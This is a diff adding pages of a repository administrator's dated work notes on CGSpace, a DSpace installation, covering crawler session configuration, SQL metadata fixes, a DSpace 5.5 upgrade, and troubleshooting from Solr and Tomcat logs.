+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Tue, 15 Nov 2016 08:49:54 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=131409D143E8C01DE145C50FC748256E; Path=/; Secure; HttpOnly
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+
+$ http --print h https://dspacetest.cgiar.org 'User-Agent:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Language: en-US
+Content-Type: text/html;charset=utf-8
+Date: Tue, 15 Nov 2016 08:49:59 GMT
+Server: nginx
+Set-Cookie: JSESSIONID=F6403C084480F765ED787E41D2521903; Path=/; Secure; HttpOnly
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Cocoon-Version: 2.2.0
+
    +
  • Adding Baiduspider to the list of user agents seems to work, and the final configuration should be:
    • +
+
<!-- Crawler Session Manager Valve helps mitigate damage done by web crawlers -->
+<Valve className="org.apache.catalina.valves.CrawlerSessionManagerValve"
+       crawlerUserAgents=".*[bB]ot.*|.*Yahoo! Slurp.*|.*Feedfetcher-Google.*|.*Baiduspider.*" />
+
    +
  • Looking at the bots that were active yesterday it seems the above regex should be sufficient:
    • +
+
$ grep -o -E 'Mozilla/5\.0 \(compatible;.*\"' /var/log/nginx/access.log | sort | uniq
+Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" "-"
+Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" "-"
+Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "-"
+Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" "-"
+Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)" "-"
+
    +
  • Neat maven trick to exclude some modules from being built:
    • +
+
$ mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false -Denv=localhost -P \!dspace-lni,\!dspace-rdf,\!dspace-sword,\!dspace-swordv2 clean package
+
    +
  • We absolutely don’t use those modules, so we shouldn’t build them in the first place
    • +
+

2016-11-17

+
    +
  • Generate a list of journal titles for Peter and Abenet to look through so we can make a controlled vocabulary out of them:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=55 group by text_value order by count desc) to /tmp/journal-titles.csv with csv;
+COPY 2515
+
    +
  • Send a message to users of the CGSpace REST API to notify them of upcoming upgrade so they can test their apps against DSpace Test
    • +
  • Test an update old, non-HTTPS links to the CCAFS website in CGSpace metadata:
    • +
+
dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, 'http://ccafs.cgiar.org','https://ccafs.cgiar.org') where resource_type_id=2 and text_value like '%http://ccafs.cgiar.org%';
+UPDATE 164
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://ccafs.cgiar.org','https://ccafs.cgiar.org') where resource_type_id=2 and text_value like '%http://ccafs.cgiar.org%';
+UPDATE 7
+
    +
  • Had to run it twice to get all (not sure about “global” regex in PostgreSQL)
    • +
  • Run the updates on CGSpace as well
    • +
  • Run through some collections and manually regenerate some PDF thumbnails for items from before 2016 on DSpace Test to compare with CGSpace
    • +
  • I’m debating forcing the re-generation of ALL thumbnails, since some come from DSpace 3 and 4 when the thumbnailing wasn’t as good
    • +
  • The results were very good, I think that after we upgrade to 5.5 I will do it, perhaps one community / collection at a time:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/67156 -p "ImageMagick PDF Thumbnail"
+
    +
  • In related news, I’m looking at thumbnails of thumbnails (the ones we uploaded manually before, and now DSpace’s media filter has made thumbnails of THEM):
    • +
+
dspace=# select text_value from metadatavalue where text_value like '%.jpg.jpg';
+
    +
  • I’m not sure if there’s anything we can do, actually, because we would have to remove those from the thumbnail bundles, and replace them with the regular JPGs from the content bundle, and then remove them from the assetstore…
    • +
+

2016-11-18

+
    +
  • Enable Tomcat Crawler Session Manager on CGSpace
    • +
+

2016-11-21

+
    +
  • More work on Ansible playbooks for PostgreSQL 9.3→9.5 and Java 7→8 work
    • +
  • CGSpace virtual managers meeting
    • +
  • I need to look into making the item thumbnail clickable
    • +
  • Macaroni Bros said they tested the DSpace Test (DSpace 5.5) REST API for CCAFS and WLE sites and it works as expected
    • +
+

2016-11-23

+
    +
  • Upgrade Java from 7 to 8 on CGSpace
    • +
  • I had started planning the inplace PostgreSQL 9.3→9.5 upgrade but decided that I will have to pg_dump and pg_restore when I move to the new server soon anyways, so there’s no need to upgrade the database right now
    • +
  • Chat with Carlos about CGCore and the CGSpace metadata registry
    • +
  • Dump CGSpace metadata field registry for Carlos: https://gist.github.com/alanorth/8cbd0bb2704d4bbec78025b4742f8e70
    • +
  • Send some feedback to Carlos on CG Core so they can better understand how DSpace/CGSpace uses metadata
    • +
  • Notes about PostgreSQL tuning from James: https://paste.fedoraproject.org/488776/14798952/
    • +
  • Play with Creative Commons stuff in DSpace submission step
    • +
  • It seems to work but it doesn’t let you choose a version of CC (like 4.0), and we would need to customize the XMLUI item display so it doesn’t display the gross CC badges
    • +
+

2016-11-24

+
    +
  • Bizuwork was testing DSpace Test on DSPace 5.5 and noticed that the Listings and Reports module seems to be case sensitive, whereas CGSpace’s Listings and Reports isn’t (ie, a search for “orth, alan” vs “Orth, Alan” returns the same results on CGSpace, but different on DSpace Test)
    • +
  • I have raised a ticket with Atmire
    • +
  • Looks like this issue is actually the new Listings and Reports module honoring the Solr search queries more correctly
    • +
+

2016-11-27

+
    +
  • Run system updates on DSpace Test and reboot the server
    • +
  • Deploy DSpace 5.5 on CGSpace: +
      +
    • maven package
      • +
    • stop tomcat
      • +
    • backup postgresql
      • +
    • run Atmire 5.5 schema deletions
      • +
    • delete the deployed spring folder
      • +
    • ant update
      • +
    • run system updates
      • +
    • reboot server
      • +
    +
    • +
  • Need to do updates for ansible infrastructure role defaults, and switch the GitHub branch to the new 5.5 one
    • +
  • Testing DSpace 5.5 on CGSpace, it seems CUA’s export as XLS works for Usage statistics, but not Content statistics
    • +
  • I will raise a bug with Atmire
    • +
+

2016-11-28

+
    +
  • One user says they are still getting a blank page when he logs in (just CGSpace header, but no community list)
    • +
  • Looking at the Catlina logs I see there is some super long-running indexing process going on:
    • +
+
INFO: FrameworkServlet 'oai': initialization completed in 2600 ms
+[>                                                  ] 0% time remaining: Calculating... timestamp: 2016-11-28 03:00:18
+[>                                                  ] 0% time remaining: 11 hour(s) 57 minute(s) 46 seconds. timestamp: 2016-11-28 03:00:19
+[>                                                  ] 0% time remaining: 23 hour(s) 4 minute(s) 28 seconds. timestamp: 2016-11-28 03:00:19
+[>                                                  ] 0% time remaining: 15 hour(s) 35 minute(s) 23 seconds. timestamp: 2016-11-28 03:00:19
+[>                                                  ] 0% time remaining: 14 hour(s) 5 minute(s) 56 seconds. timestamp: 2016-11-28 03:00:19
+[>                                                  ] 0% time remaining: 11 hour(s) 23 minute(s) 49 seconds. timestamp: 2016-11-28 03:00:19
+[>                                                  ] 0% time remaining: 11 hour(s) 21 minute(s) 57 seconds. timestamp: 2016-11-28 03:00:20
+
    +
  • It says OAI, and seems to start at 3:00 AM, but I only see the filter-media cron job set to start then
    • +
  • Double checking the DSpace 5.x upgrade notes for anything I missed, or troubleshooting tips
    • +
  • Running some manual processes just in case:
    • +
+
$ /home/dspacetest.cgiar.org/bin/dspace registry-loader -metadata /home/dspacetest.cgiar.org/config/registries/dcterms-types.xml
+$ /home/dspacetest.cgiar.org/bin/dspace registry-loader -metadata /home/dspacetest.cgiar.org/config/registries/dublin-core-types.xml
+$ /home/dspacetest.cgiar.org/bin/dspace registry-loader -metadata /home/dspacetest.cgiar.org/config/registries/eperson-types.xml
+$ /home/dspacetest.cgiar.org/bin/dspace registry-loader -metadata /home/dspacetest.cgiar.org/config/registries/workflow-types.xml
+
+

2016-11-29

+
    +
  • Sisay tried deleting and re-creating Goshu’s account but he still can’t see any communities on the homepage after he logs in
    • +
  • Around the time of his login I see this in the DSpace logs:
    • +
+
2016-11-29 07:56:36,350 INFO  org.dspace.authenticate.LDAPAuthentication @ g.cherinet@cgiar.org:session_id=F628E13AB4EF2BA949198A99EFD8EBE4:ip_addr=213.55.99.121:failed_login:no DN found for user g.cherinet@cgiar.org
+2016-11-29 07:56:36,350 INFO  org.dspace.authenticate.PasswordAuthentication @ g.cherinet@cgiar.org:session_id=F628E13AB4EF2BA949198A99EFD8EBE4:ip_addr=213.55.99.121:authenticate:attempting password auth of user=g.cherinet@cgiar.org
+2016-11-29 07:56:36,352 INFO  org.dspace.app.xmlui.utils.AuthenticationUtil @ g.cherinet@cgiar.org:session_id=F628E13AB4EF2BA949198A99EFD8EBE4:ip_addr=213.55.99.121:failed_login:email=g.cherinet@cgiar.org, realm=null, result=2
+2016-11-29 07:56:36,545 INFO  com.atmire.utils.UpdateSolrStatsMetadata @ Start processing item 10568/50391 id:51744
+2016-11-29 07:56:36,545 INFO  com.atmire.utils.UpdateSolrStatsMetadata @ Processing item stats
+2016-11-29 07:56:36,583 INFO  com.atmire.utils.UpdateSolrStatsMetadata @ Solr metadata up-to-date
+2016-11-29 07:56:36,583 INFO  com.atmire.utils.UpdateSolrStatsMetadata @ Processing item's bitstream stats
+2016-11-29 07:56:36,608 INFO  com.atmire.utils.UpdateSolrStatsMetadata @ Solr metadata up-to-date
+2016-11-29 07:56:36,701 INFO  org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ facets for scope, null: 23
+2016-11-29 07:56:36,747 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets
+org.dspace.discovery.SearchServiceException: Error executing query
+        at org.dspace.discovery.SolrServiceImpl.search(SolrServiceImpl.java:1618)
+        at org.dspace.discovery.SolrServiceImpl.search(SolrServiceImpl.java:1600)
+        at org.dspace.discovery.SolrServiceImpl.search(SolrServiceImpl.java:1583)
+        at org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer.performSearch(SidebarFacetsTransformer.java:165)
+        at org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer.addOptions(SidebarFacetsTransformer.java:174)
+        at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:228)
+        at sun.reflect.GeneratedMethodAccessor277.invoke(Unknown Source)
+...
+
    +
  • At about the same time in the solr log I see a super long query:
    • +
+
2016-11-29 07:56:36,734 INFO  org.apache.solr.core.SolrCore @ [search] webapp=/solr path=/select params={q=*:*&fl=dateIssued.year,handle,search.resourcetype,search.resourceid,search.uniqueid&start=0&fq=NOT(withdrawn:true)&fq=NOT(discoverable:false)&fq=dateIssued.year:[*+TO+*]&fq=read:(g0+OR+e574+OR+g0+OR+g3+OR+g9+OR+g10+OR+g14+OR+g16+OR+g18+OR+g20+OR+g23+OR+g24+OR+g2072+OR+g2074+OR+g28+OR+g2076+OR+g29+OR+g2078+OR+g2080+OR+g34+OR+g2082+OR+g2084+OR+g38+OR+g2086+OR+g2088+OR+g2091+OR+g43+OR+g2092+OR+g2093+OR+g2095+OR+g2097+OR+g50+OR+g2099+OR+g51+OR+g2103+OR+g62+OR+g65+OR+g2115+OR+g2117+OR+g2119+OR+g2121+OR+g2123+OR+g2125+OR+g77+OR+g78+OR+g79+OR+g2127+OR+g80+OR+g2129+OR+g2131+OR+g2133+OR+g2134+OR+g2135+OR+g2136+OR+g2137+OR+g2138+OR+g2139+OR+g2140+OR+g2141+OR+g2142+OR+g2148+OR+g2149+OR+g2150+OR+g2151+OR+g2152+OR+g2153+OR+g2154+OR+g2156+OR+g2165+OR+g2167+OR+g2171+OR+g2174+OR+g2175+OR+g129+OR+g2182+OR+g2186+OR+g2189+OR+g153+OR+g158+OR+g166+OR+g167+OR+g168+OR+g169+OR+g2225+OR+g179+OR+g2227+OR+g2229+OR+g183+OR+g2231+OR+g184+OR+g2233+OR+g186+OR+g2235+OR+g2237+OR+g191+OR+g192+OR+g193+OR+g202+OR+g203+OR+g204+OR+g205+OR+g207+OR+g208+OR+g218+OR+g219+OR+g222+OR+g223+OR+g230+OR+g231+OR+g238+OR+g241+OR+g244+OR+g254+OR+g255+OR+g262+OR+g265+OR+g268+OR+g269+OR+g273+OR+g276+OR+g277+OR+g279+OR+g282+OR+g2332+OR+g2335+OR+g2338+OR+g292+OR+g293+OR+g2341+OR+g296+OR+g2344+OR+g297+OR+g2347+OR+g301+OR+g2350+OR+g303+OR+g305+OR+g2356+OR+g310+OR+g311+OR+g2359+OR+g313+OR+g2362+OR+g2365+OR+g2368+OR+g321+OR+g2371+OR+g325+OR+g2374+OR+g328+OR+g2377+OR+g2380+OR+g333+OR+g2383+OR+g2386+OR+g2389+OR+g342+OR+g343+OR+g2392+OR+g345+OR+g2395+OR+g348+OR+g2398+OR+g2401+OR+g2404+OR+g2407+OR+g364+OR+g366+OR+g2425+OR+g2427+OR+g385+OR+g387+OR+g388+OR+g389+OR+g2442+OR+g395+OR+g2443+OR+g2444+OR+g401+OR+g403+OR+g405+OR+g408+OR+g2457+OR+g2458+OR+g411+OR+g2459+OR+g414+OR+g2463+OR+g417+OR+g2465+OR+g2467+OR+g421+OR+g2469+OR+g2471+OR+g424+OR+g2473+OR+g2475+OR+g2476+OR+g429+OR+g433+OR+g2481+OR+g2482+OR+g2483+OR+g443+OR+g444+OR+g445+OR+g446+OR+g448+OR+g453+OR+g455+OR+g456+OR+g457+OR+g458+OR+g459+OR+g461+OR+g462+OR+g463+OR+g464+OR+g465+OR+g467+OR+g468+OR+g469+OR+g474+OR+g476+OR+g477+OR+g480+OR+g483+OR+g484+OR+g493+OR+g496+OR+g497+OR+g498+OR+g500+OR+g502+OR+g504+OR+g505+OR+g2559+OR+g2560+OR+g513+OR+g2561+OR+g515+OR+g516+OR+g518+OR+g519+OR+g2567+OR+g520+OR+g521+OR+g522+OR+g2570+OR+g523+OR+g2571+OR+g524+OR+g525+OR+g2573+OR+g526+OR+g2574+OR+g527+OR+g528+OR+g2576+OR+g529+OR+g531+OR+g2579+OR+g533+OR+g534+OR+g2582+OR+g535+OR+g2584+OR+g538+OR+g2586+OR+g540+OR+g2588+OR+g541+OR+g543+OR+g544+OR+g545+OR+g546+OR+g548+OR+g2596+OR+g549+OR+g551+OR+g555+OR+g556+OR+g558+OR+g561+OR+g569+OR+g570+OR+g571+OR+g2619+OR+g572+OR+g2620+OR+g573+OR+g2621+OR+g2622+OR+g575+OR+g578+OR+g581+OR+g582+OR+g584+OR+g585+OR+g586+OR+g587+OR+g588+OR+g590+OR+g591+OR+g593+OR+g595+OR+g596+OR+g598+OR+g599+OR+g601+OR+g602+OR+g603+OR+g604+OR+g605+OR+g606+OR+g608+OR+g609+OR+g610+OR+g612+OR+g614+OR+g616+OR+g620+OR+g621+OR+g623+OR+g630+OR+g635+OR+g636+OR+g646+OR+g649+OR+g683+OR+g684+OR+g687+OR+g689+OR+g691+OR+g695+OR+g697+OR+g698+OR+g699+OR+g700+OR+g701+OR+g707+OR+g708+OR+g709+OR+g710+OR+g711+OR+g712+OR+g713+OR+g714+OR+g715+OR+g716+OR+g717+OR+g719+OR+g720+OR+g729+OR+g732+OR+g733+OR+g734+OR+g736+OR+g737+OR+g738+OR+g2786+OR+g752+OR+g754+OR+g2804+OR+g757+OR+g2805+OR+g2806+OR+g760+OR+g761+OR+g2810+OR+g2815+OR+g769+OR+g771+OR+g773+OR+g776+OR+g786+OR+g787+OR+g788+OR+g789+OR+g791+OR+g792+OR+g793+OR+g794+OR+g795+OR+g796+OR+g798+OR+g800+OR+g802+OR+g803+OR+g806+OR+g808+OR+g810+OR+g814+OR+g815+OR+g817+OR+g829+OR+g830+OR+g849+OR+g893+OR+g895+OR+g898+OR+g902+OR+g903+OR+g917+OR+g919+OR+g921+OR+g922+OR+g923+OR+g924+OR+g925+OR+g926+OR+g927+OR+g928+OR+g929+OR+g930+OR+g932+OR+g933+OR+g934+OR+g938+OR+g939+OR+g944+OR+g945+OR+g946+OR+g947+OR+g948+OR+g949+OR+g950+OR+g951+OR+g953+OR+g954+OR+g955+OR+g956+OR+g958+OR+g959+OR+g960+OR+g963+OR+g964+OR+g965+OR+g968+OR+g969+OR+g970+OR+g971+OR+g972+OR+g973+OR+g974+OR+g976+OR+g978+OR+g979+OR+g984+OR+g985+OR+g987+OR+g988+OR+g991+OR+g993+OR+g994+OR+g999+OR+g1000+OR+g1003+OR+g1005+OR+g1006+OR+g1007+OR+g1012+OR+g1013+OR+g1015+OR+g1016+OR+g1018+OR+g1023+OR+g1024+OR+g1026+OR+g1028+OR+g1030+OR+g1032+OR+g1033+OR+g1035+OR+g1036+OR+g1038+OR+g1039+OR+g1041+OR+g1042+OR+g1044+OR+g1045+OR+g1047+OR+g1048+OR+g1050+OR+g1051+OR+g1053+OR+g1054+OR+g1056+OR+g1057+OR+g1058+OR+g1059+OR+g1060+OR+g1061+OR+g1062+OR+g1063+OR+g1064+OR+g1065+OR+g1066+OR+g1068+OR+g1071+OR+g1072+OR+g1074+OR+g1075+OR+g1076+OR+g1077+OR+g1078+OR+g1080+OR+g1081+OR+g1082+OR+g1084+OR+g1085+OR+g1087+OR+g1088+OR+g1089+OR+g1090+OR+g1091+OR+g1092+OR+g1093+OR+g1094+OR+g1095+OR+g1096+OR+g1097+OR+g1106+OR+g1108+OR+g1110+OR+g1112+OR+g1114+OR+g1117+OR+g1120+OR+g1121+OR+g1126+OR+g1128+OR+g1129+OR+g1131+OR+g1136+OR+g1138+OR+g1140+OR+g1141+OR+g1143+OR+g1145+OR+g1146+OR+g1148+OR+g1152+OR+g1154+OR+g1156+OR+g1158+OR+g1159+OR+g1160+OR+g1162+OR+g1163+OR+g1165+OR+g1166+OR+g1168+OR+g1170+OR+g1172+OR+g1175+OR+g1177+OR+g1179+OR+g1181+OR+g1185+OR+g1191+OR+g1193+OR+g1197+OR+g1199+OR+g1201+OR+g1203+OR+g1204+OR+g1215+OR+g1217+OR+g1219+OR+g1221+OR+g1224+OR+g1226+OR+g1227+OR+g1228+OR+g1230+OR+g1231+OR+g1232+OR+g1233+OR+g1234+OR+g1235+OR+g1236+OR+g1237+OR+g1238+OR+g1240+OR+g1241+OR+g1242+OR+g1243+OR+g1244+OR+g1246+OR+g1248+OR+g1250+OR+g1252+OR+g1254+OR+g1256+OR+g1257+OR+g1259+OR+g1261+OR+g1263+OR+g1275+OR+g1276+OR+g1277+OR+g1278+OR+g1279+OR+g1282+OR+g1284+OR+g1288+OR+g1290+OR+g1293+OR+g1296+OR+g1297+OR+g1299+OR+g1303+OR+g1304+OR+g1306+OR+g1309+OR+g1310+OR+g1311+OR+g1312+OR+g1313+OR+g1316+OR+g1318+OR+g1320+OR+g1322+OR+g1323+OR+g1324+OR+g1325+OR+g1326+OR+g1329+OR+g1331+OR+g1347+OR+g1348+OR+g1361+OR+g1362+OR+g1363+OR+g1364+OR+g1367+OR+g1368+OR+g1369+OR+g1370+OR+g1371+OR+g1374+OR+g1376+OR+g1377+OR+g1378+OR+g1380+OR+g1381+OR+g1386+OR+g1389+OR+g1391+OR+g1392+OR+g1393+OR+g1395+OR+g1396+OR+g1397+OR+g1400+OR+g1402+OR+g1406+OR+g1408+OR+g1415+OR+g1417+OR+g1433+OR+g1435+OR+g1441+OR+g1442+OR+g1443+OR+g1444+OR+g1446+OR+g1448+OR+g1450+OR+g1451+OR+g1452+OR+g1453+OR+g1454+OR+g1456+OR+g1458+OR+g1460+OR+g1462+OR+g1464+OR+g1466+OR+g1468+OR+g1470+OR+g1471+OR+g1475+OR+g1476+OR+g1477+OR+g1478+OR+g1479+OR+g1481+OR+g1482+OR+g1483+OR+g1484+OR+g1485+OR+g1486+OR+g1487+OR+g1488+OR+g1489+OR+g1490+OR+g1491+OR+g1492+OR+g1493+OR+g1495+OR+g1497+OR+g1499+OR+g1501+OR+g1503+OR+g1504+OR+g1506+OR+g1508+OR+g1511+OR+g1512+OR+g1513+OR+g1516+OR+g1522+OR+g1535+OR+g1536+OR+g1537+OR+g1539+OR+g1540+OR+g1541+OR+g1542+OR+g1547+OR+g1549+OR+g1551+OR+g1553+OR+g1555+OR+g1557+OR+g1559+OR+g1561+OR+g1563+OR+g1565+OR+g1567+OR+g1569+OR+g1571+OR+g1573+OR+g1580+OR+g1583+OR+g1588+OR+g1590+OR+g1592+OR+g1594+OR+g1595+OR+g1596+OR+g1598+OR+g1599+OR+g1600+OR+g1601+OR+g1602+OR+g1604+OR+g1606+OR+g1610+OR+g1611+OR+g1612+OR+g1613+OR+g1616+OR+g1619+OR+g1622+OR+g1624+OR+g1625+OR+g1626+OR+g1628+OR+g1629+OR+g1631+OR+g1632+OR+g1692+OR+g1694+OR+g1695+OR+g1697+OR+g1705+OR+g1706+OR+g1707+OR+g1708+OR+g1711+OR+g1715+OR+g1717+OR+g1719+OR+g1721+OR+g1722+OR+g1723+OR+g1724+OR+g1725+OR+g1726+OR+g1727+OR+g1731+OR+g1732+OR+g1736+OR+g1737+OR+g1738+OR+g1740+OR+g1742+OR+g1743+OR+g1753+OR+g1755+OR+g1758+OR+g1759+OR+g1764+OR+g1766+OR+g1769+OR+g1774+OR+g1782+OR+g1794+OR+g1796+OR+g1797+OR+g1814+OR+g1818+OR+g1826+OR+g1853+OR+g1855+OR+g1857+OR+g1858+OR+g1859+OR+g1860+OR+g1861+OR+g1863+OR+g1864+OR+g1865+OR+g1867+OR+g1869+OR+g1871+OR+g1873+OR+g1875+OR+g1877+OR+g1879+OR+g1881+OR+g1883+OR+g1884+OR+g1885+OR+g1887+OR+g1889+OR+g1891+OR+g1892+OR+g1894+OR+g1896+OR+g1898+OR+g1900+OR+g1902+OR+g1907+OR+g1910+OR+g1915+OR+g1916+OR+g1917+OR+g1918+OR+g1929+OR+g1931+OR+g1932+OR+g1933+OR+g1934+OR+g1936+OR+g1937+OR+g1938+OR+g1939+OR+g1940+OR+g1942+OR+g1944+OR+g1945+OR+g1948+OR+g1950+OR+g1955+OR+g1961+OR+g1962+OR+g1964+OR+g1966+OR+g1968+OR+g1970+OR+g1972+OR+g1974+OR+g1976+OR+g1979+OR+g1982+OR+g1984+OR+g1985+OR+g1986+OR+g1987+OR+g1989+OR+g1991+OR+g1996+OR+g2003+OR+g2007+OR+g2011+OR+g2019+OR+g2020+OR+g2046)&sort=dateIssued.year_sort+desc&rows=1&wt=javabin&version=2} hits=56080 status=0 QTime=3
+
    +
  • Which, according to some old threads on DSpace Tech, means that the user has a lot of permissions (from groups or on the individual eperson) which increases the Solr query size / query URL
    • +
  • It might be fixed by increasing the Tomcat maxHttpHeaderSize, which is 8192 (or 8KB) by default
    • +
  • I’ve increased the maxHttpHeaderSize to 16384 on DSpace Test and the user said he is now able to see the communities on the homepage
    • +
  • I will make the changes on CGSpace soon
    • +
  • A few users are reporting having issues with their workflows, they get the following message: “You are not allowed to perform this task”
    • +
  • Might be the same as DS-2920 on the bug tracker
    • +
+

2016-11-30

+
    +
  • The maxHttpHeaderSize fix worked on CGSpace (user is able to see the community list on the homepage)
    • +
  • The “take task” cache fix worked on DSpace Test but it’s not an official patch, so I’ll have to report the bug to DSpace people and try to get advice
    • +
  • More work on the KM4Dev Journal article
    • +
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2016-12/index.html b/docs/2016-12/index.html new file mode 100644 index 000000000..177f0c3f1 --- /dev/null +++ b/docs/2016-12/index.html @@ -0,0 +1,838 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2016 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2016

+

+ + in + +  + +

+
+

2016-12-02

+
    +
  • CGSpace was down for five hours in the morning while I was sleeping
    • +
  • While looking in the logs for errors, I see tons of warnings about Atmire MQM:
    • +
+
2016-12-02 03:00:32,352 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail="dc.title", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail="THUMBNAIL", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail="-1", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+
    +
  • I see thousands of them in the logs for the last few months, so it’s not related to the DSpace 5.5 upgrade
    • +
  • I’ve raised a ticket with Atmire to ask
    • +
  • Another worrying error from dspace.log is:
    • +
+
org.springframework.web.util.NestedServletException: Handler processing failed; nested exception is java.lang.NoSuchMethodError: com.atmire.statistics.generator.DSpaceObjectDatasetGenerator.toDatasetQuery(Lorg/dspace/core/Context;)Lcom/atmire/statistics/content/DatasetQuery;
+        at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:972)
+        at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:852)
+        at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:882)
+        at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:789)
+        at javax.servlet.http.HttpServlet.service(HttpServlet.java:646)
+        at javax.servlet.http.HttpServlet.service(HttpServlet.java:727)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.app.xmlui.cocoon.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:111)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.app.xmlui.cocoon.DSpaceCocoonServletFilter.doFilter(DSpaceCocoonServletFilter.java:274)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.app.xmlui.cocoon.servlet.multipart.DSpaceMultipartFilter.doFilter(DSpaceMultipartFilter.java:119)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.utils.servlet.DSpaceWebappServletFilter.doFilter(DSpaceWebappServletFilter.java:78)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)
+        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)
+        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)
+        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:170)
+        at com.googlecode.psiprobe.Tomcat70AgentValve.invoke(Tomcat70AgentValve.java:44)
+        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:98)
+        at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:180)
+        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)
+        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)
+        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1041)
+        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)
+        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:313)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
+        at java.lang.Thread.run(Thread.java:745)
